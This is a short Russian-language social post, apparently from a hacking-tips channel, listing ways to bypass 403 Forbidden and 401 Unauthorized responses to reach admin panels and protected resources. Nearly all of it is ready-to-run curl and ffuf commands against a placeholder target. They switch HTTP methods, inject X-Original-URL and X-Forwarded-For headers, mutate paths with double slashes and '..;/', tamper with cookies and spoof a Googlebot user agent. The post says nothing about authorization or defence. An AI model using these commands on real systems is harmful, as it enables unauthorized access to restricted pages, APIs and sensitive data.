Иногда 403 Forbidden или 401 Unauthorized — это не приговор, а вызов. Эти коды часто скрывают админки, API и чувствительные ресурсы. Вот как их обходят:
1. Смена HTTP-методов
curl -X POST https://target.com/secret
curl -X HEAD https://target.com/admin
📍 Некоторые бэкенды не проверяют права на POST или HEAD.
📍 Полезно для старых API и нестандартных фреймворков.
2. Добавление обходных заголовков
curl -H "X-Original-URL: /admin" https://target.com
curl -H "X-Custom-IP-Authorization: 127.0.0.1" https://target.com/secret
📍 Часто срабатывает, если WAF/бэкенд доверяет заголовкам от прокси.
📍 Работает на старых nginx/apache или при кривых кастомных middleware.
3. Мутации путей и суффиксы
curl https://target.com/admin/
curl https://target.com/admin//
curl https://target.com/admin%2f
curl https://target.com/admin..;/
📍 Классика: двойные слеши, URL-энкодинг, суффиксы типа ;, %2e.
📍 Бывает, что /admin/ даёт 403, а /admin// — 200 OK.
4. Удаление или подмена cookies
curl -b "auth=invalid" https://target.com/panel
curl --cookie-jar /dev/null https://target.com/secure
📍 Иногда доступ ограничен только при наличии определённых cookies.
📍Удаление может обойти ограничения.
5. Подмена User-Agent и IP
curl -H "User-Agent: Googlebot" https://target.com
curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/hidden
📍 Много админок открыты для Googlebot, Baiduspider, Yandex.
📍 X-Forwarded-For — один из старейших багов доверия IP.
6. Автоматизация фаззинга
ffuf -w bypass.txt -u https://target.com/FUZZ -mc 200,401,403
📍 Используй словари обхода путей (bypass.txt, raft-large-directories.txt).
📍 Можно тестировать на wildcard-доменах, например
admin.target.com.💡 Лайфхаки:
— Работает особенно хорошо на CDN, старом nginx/apache, poorly configured WAF.
— Комбинируй обход с фаззингом через ffuf, dirsearch, qsreplace.
— Проверяй логику: 403 ≠ реально закрыто. Иногда это просто заглушка от WAF.
🐸 Библиотека хакера
#буст